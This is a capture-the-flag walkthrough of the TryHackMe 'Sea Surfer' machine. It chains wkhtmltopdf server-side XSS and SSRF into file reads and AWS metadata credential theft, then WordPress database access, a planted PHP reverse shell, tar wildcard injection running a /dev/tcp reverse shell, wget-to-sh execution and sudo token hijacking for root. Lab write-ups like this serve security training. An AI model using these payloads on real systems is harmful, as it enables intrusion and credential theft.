It's a beautiful day to hit the beach and do some surfing. Please allow up to 5 minutes for the machine to boot up.
Footprinting
Open ports
Nmap scan:
kali@kali:~$ sudo nmap -sS -Pn -v10 -oA syn_full 10.10.155.36
Discovered open port 80/tcp on 10.10.155.36
Discovered open port 22/tcp on 10.10.155.36
kali@kali:~$ sudo nmap -v10 -sC -sV -p22,80 -oA nse 10.10.155.36
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 87:e3:d4:32:cd:51:d2:96:70:ef:5f:48:22:50:ab:67 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCyQtbtTbXITp+A3lHCXTmOYEd3nuF2kZuQ02sjsxLFIE31lelQ+yZMOCwzcC/MohqAcs2LLmfdVi2TJfuOVC0dZ6bkMUdbeF65UtptaUClLuxhdtMkZNxJlAgQSx8d0p3H+JnAmTD5CVeU/x0RlTKRzQDiynKtszcrWjWzZ6DGM7rWjTtGcYOaFObWN66bKrZtQOQw2Fp6LX5aNIqAoxhb3orPKjFUUlcdVzaesX2KBbJsNBDiEF3gGtoK6nJzi9L+NMFAK2Rl06G6vBqxYUc6PKL0M+ovoCEtxeZsH9/R2WqWZ3vB2B8PzqafYFP3chMMcdewG89CCdxmyyFuyGt/kf7L7OLJTWsYiJvLUPFAEyymn4GcfzIcOl/XXVr1hIoTOCDukS0dMWdAvnaaZOMharud9fowd+eAG3LowJnyu2O2OBg6pdpdQzuW9DFmy7etBIlbaSvG+l/8pmgJ3RWSLXDQEl5kZDGXLM6A3qcUqtSOK7ww9IvN8IYxlhyQ0kk=
| 256 27:d1:37:b0:c5:3c:b5:81:6a:7c:36:8a:2b:63:9a:b9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEhRgdpnS6QXS+haDKzUdKS0IP+HZz749jjQOx9ECJ+ypGOT6Q65NUeHaU49cqARe4kKi9/+Yl/W3U2J4wJKgBw=
| 256 7f:13:1b:cf:e6:45:51:b9:09:43:9a:23:2f:50:3c:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIZ39ZNVX7VJgmO8M/Vhb9lm35it42Ho7crlLqYhVhAT
80/tcp open http syn-ack ttl 60 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
The main web page contains the default Apache page.
Enumeration
Enumerating the web resources discloses no sensitive information:
kali@kali:~$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -t 50 -u http://10.10.155.36/FUZZ -fc 404,403
index.html [Status: 200, Size: 10918, Words: 3499, Lines: 376, Duration: 1522ms]
. [Status: 200, Size: 10918, Words: 3499, Lines: 376, Duration: 639ms]
However, there is an uncommon header in the response:
>>>
GET / HTTP/1.1
Host: 10.10.155.36
<<<
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Backend-Server: seasurfer.thm
This header is likely to leak a backend server:
Armed with this information an attacker may be able to attack other systems or more directly/efficiently attack those systems.
Therefore, let's add it to our locally known hosts:
kali@kali:~$ sudo vim /etc/hosts
10.10.155.36 seasurfer.thm
And visit that new web page using the virtual hosting mechanism:
>>>
GET / HTTP/1.1
Host: seasurfer.thm
<<<
HTTP/1.1 500 Internal Server Error
Error establishing a database connection
This Wordpress error made the website unavailable, and was initially triggered for free TryHackMe users only.
After some time, the issue was resolved by the THM staff and the website became available.
Some of the interesting information from the web pages are:
sales@seasurfer.th
support@seasurfer.thm
Made by kyle! <3
Maya Martins
Brandon Baker
Kyle King
kyle
is a valid username, as the wp-login.php
error message is too explicit by saying the password is invalid. Unfortunately, his password couldn't be cracked:
kali@kali:~$ wpscan --url http://seasurfer.thm/wordpress -U kyle -P /usr/share/wordlists/rockyou.txt
Internal website
Then, I checked if there is any valid subdomain:
kali@kali:~$ ffuf -v -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://seasurfer.thm -t 50 -H "Host: FUZZ.seasurfer.thm" -fw 3499
[Status: 200, Size: 3072, Words: 225, Lines: 109, Duration: 3432ms]
| URL | http://seasurfer.thm
* FUZZ: internal
The responses with 3499 words (the default Apache page) are filtered, as they correspond to invalid domains.
Once the internal.searsurfer.thm
domain was added to /etc/hosts
, we see the internal website contains a payment form:
>>>
GET /output.php?name=jamarir&payment=Credit+card&comment=Wonderful+comment&item1=Book&price1=1337 HTTP/1.1
Host: internal.seasurfer.thm
<<<
HTTP/1.1 302 Found
Server: Apache/2.4.41 (Ubuntu)
Location: http://internal.seasurfer.thm/invoices/18062022-5oRViF9ZFR4sRwAZ5EsB.pdf
The request converts the HTML page into a PDF via wkhtmltopdf:
kali@kali:~$ exiftool 18062022-W8k8w8hfMKGQhVKPlWIn.pdf
Creator : wkhtmltopdf 0.12.5
Producer : Qt 4.8.7
Actually, the form is vulnerable to Server-Side XSS injection through the PDF output. Indeed, when the bot is converting the HTML page, it first executes JS code in the page.
As a PoC, I injected <b>test</b>
into the comment field, and the PDF contained the bolded text: "test" :)
. However, it was not possible to read arbitrary files in the server using the file://
scheme :/
<script>document.write('<iframe src=file:///etc/passwd></iframe>');</script>
Indeed, the browser's console showed:
Security Error: Content at internal.seasurfer.thm/invoice.php?name=[...] may not load or link to file:///etc/passwd.
Sea SSRFer
Even if no LFI could be exploited, it was possible to trigger an SSRF using the following payload:
>>>
<iframe src="http://localhost/server-status" height="500" width="500"></iframe>` in the form.
<<<
Apache Server Status for localhost (via 127.0.0.1)
Server Version: Apache/2.4.41 (Ubuntu)
Server MPM: prefork
[...]
Apache/2.4.41 (Ubuntu) Server at localhost Port 80
Thus, we could exploit the trust relationship between the Apache server and the web server to read server-status
!
But I couldn't find other sensitive resources :/
Then, I hosted a local web (with verbose logs) in order to retrieve the server's User-Agent
using a custom HTTP server python script:
kali@kali:~$ python 3serv.py
10.17.8.104 - - [<DATE>] "GET / HTTP/1.1" 200 -
ERROR:root:User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://internal.seasurfer.thm/invoice.php?name=a&payment=Credit+card&comment=a&item1=%3Ciframe+src%3D%22http%3A%2F%2F10.17.8.104%3A48888%22%3E&price1=1&id=18062022-XJLxpyNp4jOXyWqBis7g
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en,*
Host: 10.17.8.104:8000
3serv.py
could be replaced bync
in order to get verbose logs.
The User-Agent
is the same as here, namely Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34
.
AWS instance (rabbit hole)
I realized the target is an AWS instance. Therefore, we can use the SSRF to read its metadata via the AWS API's:
>>>
<iframe src="http://169.254.169.254/latest/dynamic/instance-identity/" height="500" width="500">
<<<
document
pkcs7
signature
rsa2048
For example, I could retrieve a SecretAccessKey
:
>>>
<iframe src="http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" height="1000" width="500">
<<<
{
"Code" : "Success",
"LastUpdated" : "2022-06-18T22:11:17Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA2YR2KKQM5YWXSC5B",
"SecretAccessKey" : "D5fDWlJ0grJX9Ia+/vx63s2Z1FHb44XZlwKlP2GI",
"Token" :
"IQoJb3JpZ2luX2VjEO///////////wEaCWV1LXdlc3QtMSJIMEYCIQDDSQNLfQa/F2
Y06slDCBS0twuYV7YbeINCflW6w4tezAIhAM6VVzJGxPfj1Df3yG7dRr1IC157
AfVHCM9WK9fMMK+LKrEECPf//////////wEQAhoMNzM5OTMwNDI4NDQxIgyK
uXjNP4jpulBkiWgqhQSKWSaBQb+8aG0JGbkTwYhUVrLcLXwSCwOUyIA08G
F+2e3DQEpUmrknsFyQcuxo1Rj3lYENfxU1sY83BGurAjfuPHTpZdPU6duCwF
jSKopqoUIES0Yvn+RdBjS6x/Uq141x55dLFvAcU6VNvnmAyc5a0WAo+wRC
E7JrogjOw0VGq2HU1wvqp0GNEl0upklWsIn0qVZ9DHd/dcDZqPzVZs79EAK
xNuJchCEa1OqnQJ0ifLPf2ecKCEX4oPNZVbL5pHobP8hMSdUPhlWtjfOzDOC1
3Ey4n5VlskeAh0Tt0X+2dF9iPUzZKu3uptc/VXVW9ZEzRBKvXoCPP76Oli/jDJ
DQd8ZoYpL64rO1bQdHss1ilQPLm695XkxzRdxRUHybE2pFUVbN8CyWlu0y
4criQu9sBXw3fjpzap/6XJB+3cMwhNZFrbiY8Yalr90kciR4hV2Nc2asUOImPw
ZAVdg2/wVmsu8C7FNtO/9196snClgL3j9LR+SRfehckbQYi0AoiU9WcxjW41
T/ONUdSbeEYCCX6MbT8oDePgao4RK84iGWxawxFRhI3K30EhalcUDLRfBUf
XJ2/y95EPxkiiLGARh4ZzAaV2wxgiu8E8/ofhHJJleRD4JaF2H0JZ9LPSvpowDs9
ihg+NCRyIoZh+IQxD6FiaxIdMIjyi9+T3QmJU3XqM1UKO/LMKqbuZUGOo4C
3VgViZXPJe7Pw1LNGTome6/9YgN4aiW7iAfCE122F50rzJIrppIdUDEorzaSVl
+c+vfl5adlcsVSdR2rWgI2fPXYlBK8xfsjUm0SgFnBxKNABEp7i/Kjtz8wiRDuO
IceeDOSU49qSob0GZ+e8UWwFsGnc9ii+lfVXqkldTH4xWeAOHBpgEa1VZy
nHufkceYo5ISbO4UvHwBWUEStq2rEtvB1dlimLH5NZDAS5iqyKfXJPPsQmm
hVGAxKaxqjm2Bh6O9YnUuq+OQBzLTXf+1F//Dn20AI1Ld6wbosBN3weyLs
qW88jdtfeqZnFeqymcpP8w3Zh5I869Iklzwz3+cMqtnGQwvxW7p9eVDoHl1
O",
"Expiration" : "2022-06-19T04:11:56Z"
}
However, exploiting AWS is out of the scope for this CTF.
More information here.
SSRF to LFI
After some hours, I discovered wkhtmltopdf
might be vulnerable to LFI:
wkhtmltoimage
convert a http status code 302 url,it may redirect to a local host
Thus, using the SSRF, we can host and request the following PHP script to read arbitrary files in the web server:
kali@kali:~$ cat exfiltrate.php
<?php header('location:file://'.$_REQUEST['x']); ?>
kali@kali:~$ php -S 0.0.0.0:48888
Then, the x
parameter should contain the path to the server's file:
>>>
<iframe height="2000" width="800" src="http://10.17.8.104:48888/exfiltrate.php?x=/etc/passwd"></iframe>
<<<
[<DATE>] 10.10.155.36:54084 [302]: GET /exfiltrate.php?x=/etc/passwd
<<<
root:x:0:0:root:/root:/bin/bash
[...]
kyle:x:1000:1000:Kyle:/home/kyle:/bin/bash
[...]
However, I couldn't find other interesting files (such as kyle
's SSH key).
But generally, the virtual host's configuration files' paths are /etc/apache2/sites-available/DOMAIN.conf
, where DOMAIN
is the Host
header used to access the virtual host.
Nevertheless, the files internal.seasurfer.thm.conf
and seasurfer.thm.conf
don't exist. Then, I guessed that internal.conf
exists:
<VirtualHost *:80>
DirectoryIndex index.php
ServerAdmin webmaster@localhost
DocumentRoot /var/www/internal
ServerName internal.seasurfer.thm
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
The DocumentRoot
directory (where the web pages are stored in the server) is /var/www/internal
.
Wordpress
I also guessed the directory /var/www/wordpress
exists, by checking its /var/www/wordpress/wp-config.php
configuration file:
[...]
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wo[...]er' );
define( 'DB_PASSWORD', 'co[...]an' );
define( 'DB_HOST', 'localhost' );
define( 'DB_CHARSET', 'utf8' );
define( 'DB_COLLATE', '' );
[...]
But what to do with these credentials ?
big.txt
& Adminer
Fuzzing the resources of the wordpress website using big.txt
revealed an adminer
folder:
kali@kali:~$ ffuf -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 5 -u http://seasurfer.thm/FUZZ -fc 404 -fs 0
.htaccess [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 254ms]
.htpasswd [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 250ms]
adminer [Status: 301, Size: 316, Words: 20, Lines: 10, Duration: 247ms]
[...]
From there, we could connect to the Wordpress's database using the wo[...]er:co[...]an
credentials:
>>>
POST /adminer/ HTTP/1.1
Host: seasurfer.thm
Cookie: adminer_sid=m9gjaak285eka9j51cpejvuo5q; adminer_key=fe733279c0c9aabd1236b05ff68a6c8b
auth[driver]=server&auth[server]=localhost&auth[username]=wo[...]er&auth[password]=co[...]an&auth[db]=wordpress&auth[permanent]=1
In the wp_users
table, we can read the kyle
's encrypted password:
ID,user_login,user_pass,user_nicename,user_email,user_url,user_registered,user_activation_key,user_status,display_name
1,kyle,$P$Bu[...]i/,kyle,kyle@seasurfer.thm,http://seasurfer.thm,2022-04-17 19:32:10,"","0",kyle
If we wanna login as kyle
, we could simply update his PHPass to 1234: $P$BI3bxLVZHQ8T2QiVoCTxrp7XcLMChF.
.
Once logged in, a standard reverse shell can be injected in the 404 Wordpress template:
kali@kali:~$ cat /usr/share/webshells/php/php-reverse-shell.php |xsel -b
[...]
$ip = '10.17.8.104'; // CHANGE THIS
$port = 1234; // CHANGE THIS
[...]
kali@kali:~$ nc -nlvp 1234
Here's the reverse shell :]
kali@kali:~$ curl http://seasurfer.thm/wp-content/themes/twentytwelve/404.php
listening on [any] 1234 ...
connect to [10.17.8.104] from (UNKNOWN) [10.10.155.36] 34378
Linux seasurfer 5.4.0-107-generic #121-Ubuntu SMP <DATE> UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
19:09:34 up 28 min, 1 user, load average: 0.00, 0.02, 0.22
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
Local Privilege Escalation
user.txt
www-data
Let's first stabilize our shell:
$ python3 -c "import pty; pty.spawn('/bin/bash')" || python -c "import pty; pty.spawn('/bin/bash')" || /usr/bin/script -qc /bin/bash /dev/null
# Press Ctrl+Z
kali@kali:~$ stty raw -echo; fg; reset;
www-data@seasurfer:/$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp; alias l="ls -tuFlah --color=auto"; export SHELL=bash; export TERM=xterm-256color; stty rows 200 columns 200; reset;
kyle
's backup script
In the internal website's directory, there is a maintenance
folder containing a backup script:
www-data@seasurfer:/var/www/internal/maintenance$ ls -l
total 4
-rwxrwxr-x 1 kyle kyle 286 Apr 19 15:13 backup.sh
www-data@seasurfer:/var/www/internal/maintenance$ cat backup.sh
#!/bin/bash
# Brandon complained about losing _one_ receipt when we had 5 minutes of downtime, set this to run every minute now >:D
# Still need to come up with a better backup system, perhaps a cloud provider?
cd /var/www/internal/invoices
tar -zcf /home/kyle/backups/invoices.tgz *
According to the above comments, the program is run every minute. The fact that kyle
is the owner of the script tends to mean that he is the user executing it.
tar
exploitation
Check the following output:
kali@kali:~$ tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='whoami'
tar: Removing leading `/' from member names
kali
Here, the archive and the file to compress are set to
/dev/null
.
As you can see, tar
has a --checkpoint
and --checkpoint-action
which, when coupled, execute an arbitrary shell command:
kali@kali:~$ man tar
--checkpoint[=N]
Display progress messages every Nth record (default 10).
--checkpoint-action=ACTION
Run ACTION on each checkpoint.
Basically, --checkpoint
displays a progress message (defined in --checkpoint-action
) every time tar
compressed a given amount of data:
The data in an archive is grouped into blocks, which are 512 bytes. Blocks are read and written in whole number multiples called records. The number of blocks in a record (i.e., the size of a record in units of 512 bytes) is called the blocking factor.
The default blocking factor is typically 20 (i.e., 10240 bytes), but can be specified at installation.
Therefore, the checkpoint is hit every time an amount of bytes is compressed. For example, let's set --checkpoint=2
:
kali@kali:~$ s="8704"; dd if=/dev/urandom of="$s" bs=1 count="$s" status=progress 2>/dev/null; tar -cf /dev/null "$s" --checkpoint=2 --checkpoint-action=exec='whoami'
kali@kali:~$ s="8705"; dd if=/dev/urandom of="$s" bs=1 count="$s" status=progress 2>/dev/null; tar -cf /dev/null "$s" --checkpoint=2 --checkpoint-action=exec='whoami'
kali
In my case, the checkpoint was hit every 8705
bytes compressed. Anyway, setting --checkpoint=1
will always execute --checkpoint-action
at least once.
However, how could we set the --checkpoint
and --checkpoint-action
options in backup.sh
as we have no write access to the script ?
www-data@seasurfer:/var/www/internal/maintenance$ ls -l
total 4
-rwxrwxr-x 1 kyle kyle 286 Apr 19 15:13 backup.sh
The issue resides in the usage of the globbing process via the *
wildcard. Indeed, when the wildcard is read by bash
, it is replaced with the files present in the current directory.
Therefore, we can create 2 files which will set the tar
options in the invoices
folder:
www-data@seasurfer:/var/www/internal/invoices$ touch -- --checkpoint=1
www-data@seasurfer:/var/www/internal/invoices$ touch -- --checkpoint-action="exec=id>id.txt"
www-data@seasurfer:/var/www/internal/invoices$ touch foo
After one minute, the id.txt
file is created !
www-data@seasurfer:/var/www/internal/invoices$ cat id.txt
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev)
Therefore, I tried to launch a reverse shell to impersonate kyle
:
www-data@seasurfer:/var/www/internal/invoices$ echo 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1' |base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx
www-data@seasurfer:/var/www/internal/invoices$ touch -- --checkpoint=1
www-data@seasurfer:/var/www/internal/invoices$ touch -- --checkpoint-action=exec="echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx |base64 -d |sh"
www-data@seasurfer:/var/www/internal/invoices$ nc -nlvp 4444
Listening on 0.0.0.0 4444
The above reverse shell didn't work :/
. But the following worked !
www-data@seasurfer:/var/www/internal/invoices$ echo 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"' > revshell.sh
www-data@seasurfer:/var/www/internal/invoices$ touch -- --checkpoint=1
www-data@seasurfer:/var/www/internal/invoices$ touch -- --checkpoint-action=exec="bash revshell.sh"
www-data@seasurfer:/var/www/internal/invoices$ nc -lnvp 4444
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 58906
bash: cannot set terminal process group (4384): Inappropriate ioctl for device
bash: no job control in this shell
kyle@seasurfer:/var/www/internal/invoices$
We finally get the user.txt
flag :]
kyle@seasurfer:~$ cat user.txt
THM{SS[...]CE}
root.txt
Now, we want to become root
.
Let's first host a local web server containing linpeas.sh
to spot common vulnerabilities:
kali@kali:~$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20220619/linpeas.sh -O /usr/local/bin/linpeas.sh
kali@kali:~$ python -m http.server 48888 -d /usr/local/bin/
It is possible to run bash scripts on the fly using wget
:
www-data@seasurfer:/tmp/a$ wget http://10.17.8.104:48888/linpeas.sh -O - |sh |tee -a linpeas.txt
www-data@seasurfer:/tmp/a$ less -r linpeas.txt
The following output was particularly interesting:
kyle 1131 0.0 0.1 6892 2328 pts/0 Ss+ 21:46 0:00 _ bash -c sudo /root/admincheck; sleep infinity
[...]
Jun 20 22:27:09 seasurfer sudo: kyle : 1 incorrect password attempt ; TTY=pts/3 ; PWD=/home/kyle ; USER=root ; COMMAND=list
password: $6$hq[...]hV/
Indeed, kyle
has run a file in the /root
folder with sudo
in the 1131 process.
On top of that, the linpeas
's outputs show ptrace
protection is disabled, which prevents the re-usage of sudo
tokens:
╔══════════╣ Checking sudo tokens
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#reusing-sudo-tokens
ptrace protection is disabled (0)
gdb wasn't found in PATH, this might still be vulnerable but linpeas won't be able to check it
Hacktrickz cheasheet describes that exploit:
In the scenario where you have a shell as a user with sudo privileges but you don't know the password of the user, you can wait him to execute some command using sudo.
Then, you can access the token of the session where sudo was used and use it to execute anything as sudo (privilege escalation).
Also, a link to a GitHub page provides more details and tools to reuse sudo tokens:
We all noticed that sometimes sudo doesn't ask us for a password because he remembers us. How does he remember us and how does he identifies us? Can we falsify our identity and become root?
sudo
creates a file for each linux user in/var/run/sudo/ts/[username]
. These files contain both successful and failed authentications, then sudo uses these files to remember all the authenticated processes.
It also precises that gaining root
privilege by abusing sudo tokens requires some prerequisites:
You already have a shell as user
kyle
kyle@seasurfer:~$ whoami
kyle
kyle
have used sudo to execute something in the last 15mins (by default that's the duration of the sudo token that allows to use sudo without introducing any password)
kyle@seasurfer:~$ ps faux |grep sudo |grep ^`whoami`
kyle 1131 0.0 0.1 6892 2328 pts/0 Ss+ 21:46 0:00 _ bash -c sudo /root/admincheck; sleep infinity
cat /proc/sys/kernel/yama/ptrace_scope
is 0
kyle@seasurfer:~$ cat /proc/sys/kernel/yama/ptrace_scope
0
gdb
is accessible (you can be able to upload it)
Here, we can't install gdb
using sudo apt install gdb
, as we don't know kyle
's password to run sudo
. Therefore, we could instead download the .deb
package, which actually is an archive file:
Debian packages are standard Unix ar archives that include two tar archives. One archive holds the control information and another contains the installable data.
The apt
repo in the box is fi.archive.ubuntu.com/ubuntu:
kyle@seasurfer:~$ grep -v "^#" /etc/apt/sources.list
deb http://fi.archive.ubuntu.com/ubuntu focal main restricted
[...]
From there, we can download it locally and extract it using ar
:
kali@kali:~$ wget http://fi.archive.ubuntu.com/ubuntu/pool/main/g/gdb/gdb_9.1-0ubuntu1_amd64.deb -O gdb.deb
kali@kali:~$ ar x gdb.deb
kali@kali:~$ xz -d data.tar.xz && tar xvf data.tar
kali@kali:~$ python3 -m http.server -d usr/bin/ 48888
kyle@seasurfer:~$ wget http://10.17.8.104:48888/gdb
Let's transfer the sudo_inject
project in the target machine:
kali@kali:~$ wget https://github.com/nongiach/sudo_inject/archive/refs/heads/master.zip
kali@kali:~$ unzip master.zip && tar cvf sudo_inject-master.tar sudo_inject-master
kali@kali:~$ python3 -m http.server 48888
kyle@seasurfer:~$ wget http://10.17.8.104:48888/sudo_inject-master.tar
kyle@seasurfer:~$ tar xvf sudo_inject-master.tar
One of the requirements for the exploit to succeed was to make sure the
sudo
command has been run in the last 15mins (default configuration). As thesudo
seems to be run once when the machine boots, I restarted the VM and ran the exploit straightly.
Finally, we can put the gdb
binary in a $PATH
folder:
kyle@seasurfer:~$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp
kyle@seasurfer:~$ cp ./gdb /tmp/gdb
And reuse the sudo token to become root
!
kyle@seasurfer:~/sudo_inject-master$ sh exploit.sh
Current process : 1419
Injecting process 1221 -> sh
[...]
Injecting process 1411 -> bash
cat: /proc/1424/comm: No such file or directory
Injecting process 1424 ->
kyle@seasurfer:~/sudo_inject-master$ sudo su
root@seasurfer:/home/kyle/sudo_inject-master# cat /root/root.txt
THM{ST[...]NS}